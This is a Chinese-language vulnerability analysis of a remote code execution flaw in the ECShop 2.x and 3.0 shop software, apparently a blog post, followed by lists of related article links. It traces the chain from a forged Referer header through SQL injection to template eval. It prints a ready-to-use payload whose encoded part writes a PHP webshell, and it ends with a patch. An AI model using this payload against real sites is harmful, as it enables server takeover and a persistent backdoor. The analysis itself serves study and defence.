ECShop 2.x 3.0代码执行漏洞分析
0×00 前言
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。2.x版本跟3.0版本存在代码执行漏洞。
0×01 漏洞原理
ECShop 没有对 $GLOBAL[‘_SERVER’][‘HTTP_REFERER’] 变量进行验证,导致用户可以将任意代码插入的user_passport.dwt模板中,随后insert_mod根据模板内容动态执行相应的函数,用户插入恶意代码导致模板动态执行了lib_insert下的 insert_ads 方法,通过SQL注入,返回构造的执行代码,致使后面调用cls_template模板类的fetch函数,成功执行恶意代码。
0×02 环境搭建
IDE : PHPStorm
PHP: 5.4
ECshop 3.0
ECShop 2.7.3
0×03 分析过程
整体功能
首先过一下整体的功能,进入到user.php中。

正常情况下,程序会将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’] 赋值给了$back_act,接着通过cls_template模板类的assign和display进行赋值和和传值给了user_passport.dwt页面模板;这时候user_passport.dwt页面模板的内容是这样子的。

进入到$smarty->display中,通过inser_mod的分割和反序列之后动态调用函数获得购物信息和会员信息,将会默认执行user_passport.dw上面的两个函数,即lib_insert函数类下的insert_cart_info和insert_member_info函数。
insert_cart_info函数//调用购物信息
insert_member_info函数 //调用会员信息
user_passport.dw模板:

inser_mod函数:

Payload
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/*";}
开始分析
在user.php 中的通过执行登陆操作的时候,将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]的值修改为我们的代码:

这时候$back_act的值就是我们篡改之后的REFERER值了,之后程序会继续执行:
$smarty->assign('back_act', $back_act); //赋值
$smarty->display('user_passport.dwt'); //传值到模板上
经过assign,display的赋值和传值之后,这时候user_passport.dwt模板上的back_act值是这样的:
在观察堆栈参数的时候,可以观察到this->_echash 的值跟我们的Payload的值是一样的,这是ECSHOP的固定的HASH值,2.7版本的_echash值为554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值为45ea207d7a2b68c49582d2d22adf953,所以所用的Payload也不一样。

进入到display函数中,会执行fetch函数,获得页面模板内容;
$out = $this->fetch($filename, $cache_id); //根据$cache_id获取模板内容也就是user_passport.dwt的内容
接着按照_echash的值也就是固定hash值进行分割;

分割完之后程序会先执行两个默认函数,然后才执行我们的代码,继续执行insert_mod函数 。
$k[$key] = $this->insert_mod($val);
跟进,可以看到我们输入的字符串根据“|”进行了分割,并分别赋值给了$fun和$para
所以最后的到的值类似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)

到了return $fun($para);这里,将会执行lib_insert动态函数类下的 insert_ads($para)函数。
跟进,可以看到这里执行了SQL语句,而$arr[‘id’]和$arr[‘num’]这两个参数正是我们传进来的数组中的内容,参数可控,从而导致了注入。

这时候在数据库中,执行的语句为:
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop3_0`.`ecs_ad` AS a LEFT JOIN `ecshop3_0`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1536052713' AND end_time >= '1536052713' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -
可以看到数据库的position_id和position_style字段分别被union select 查询覆盖为了'/* 和{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//}xxx

查询结束之后,根据$position_style的值执行了cls_template模板类的fetch函数。
$val = $GLOBALS[‘smarty’]->fetch($position_style); //执行了smarty的fetch函数
跟进,看到这里,这里最终执行了恶意代码。
$out = $this->_eval($this->fetch_str(substr($filename, 4))); //最终执行了语句
看一下内部的字符串处理,传入filename的值为:
” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”
然后使用substr对filenname进行切割,接着进入到$this->fetch_str中,可以看到fetch_str函数的返回内容为<?php echo xx>格式的。
在跟入到$this->get_val中,执行了$p = $this->make_var($val); ,跟入到make_var函数中。

字符串处理最后返回的值为:
$this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//']
拼接在一起,最后返回的数据为:
<?php echo $this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//>
从而最终导致了代码执行。

0×04 代码执行的调用链

0×05 修复方案
在ECShop3.6版本中insert_ads函数对$arr[‘num’]和$arr[‘id’]进行了强制类型转换。
$arr[‘num’] = intval($arr[‘num’]);
$arr['id'] = intval($arr['id']);
ECShop 2.x 3.0代码执行漏洞分析的更多相关文章
- ECShop全系列版本远程代码执行漏洞复现
前言 问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行 漏洞分析 0x01-SQL注入 先看user.php $back_act变量来源于HTTP_R ...
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- thinkphp5.0.22远程代码执行漏洞分析及复现
虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...
- 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- 【代码审计】LaySNS_v2.2.0 System.php页面存在代码执行漏洞分析.
0x00 环境准备 LaySNS官网:http://www.laysns.com/ 网站源码版本:LaySNS_v2.2.0 程序源码下载:https://pan.lanzou.com/i0l38 ...
- CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析
漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...
- Spring框架的反序列化远程代码执行漏洞分析(转)
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
- 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析
0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...
随机推荐
- 【LOJ】#2350. 「JOI 2017/2018 决赛」月票购买
题解 首先求一个最短路图出来,最短路图就是这条边在最短路上就保留,否则就不保留,注意最短路图是一个有向图,一条边被保留的条件是 dis(S,u) + val(u,v) = dis(v,T)我们需要求两 ...
- Windows 10家庭版远程桌面连接错误
由于需要操作远程服务器,经常使用“远程桌面连接”工具,一直很正常.今天突然提示 出现身份验证错误,可能是由于 CredSSP加密Oracle修正.什么情况!! 根据提示的地址https://go.mi ...
- Scrapy 笔记(三)
摘抄自Python 一.随机user-agent 的设置 关于配置和代码 这里我找了一个之前写好的爬虫,然后实现随机更换User-Agent,在settings配置文件如下: DOWNLOADER_M ...
- codeforces-727A
题目连接:http://codeforces.com/contest/727/problem/A A. Transformation: from A to B time limit per test ...
- Servlet技术——Servlet基础
Servlet是运行在Web服务器端的Java应用程序,它使用Java语言编写,具有Java语言的优点.与Java程序的区别是,Servlet对象主要封装了对HTTP请求的处理,并且它的运行需要Ser ...
- vue 阻止表单默认事件
方式一: <form autocomplete="off" @submit.prevent="onSubmit"> <input type=& ...
- Unity 游戏开发技巧集锦之使用忍者飞镖创建粒子效果
Unity 游戏开发技巧集锦之使用忍者飞镖创建粒子效果 使用忍者飞镖创建粒子效果 游戏中,诸如烟.火.水滴.落叶等粒子效果,都可以使用粒子系统(particle system)来实现.例如,<明 ...
- Divisible by Seven CodeForces - 376C (数论)
You have number a, whose decimal representation quite luckily contains digits 1, 6, 8, 9. Rearrange ...
- [CODECHEF]EASYEX
题意:有一个$k$面的骰子,上面的数字为$1\cdots k$,现在要丢$n$次骰子,设$n$次中有$a_i$次扔到数字$i$,给定$l,f$,求$\prod\limits_{i=1}^la_i^f$ ...
- python3-开发进阶Flask的基础
一.概述 最大的特点:短小精悍.可拓展强的一个Web框架.注意点:上下文管理机制,依赖wsgi:werkzurg 模块 二.前奏学习werkzurg 先来回顾一个知识点:一个类加括号会执行__init ...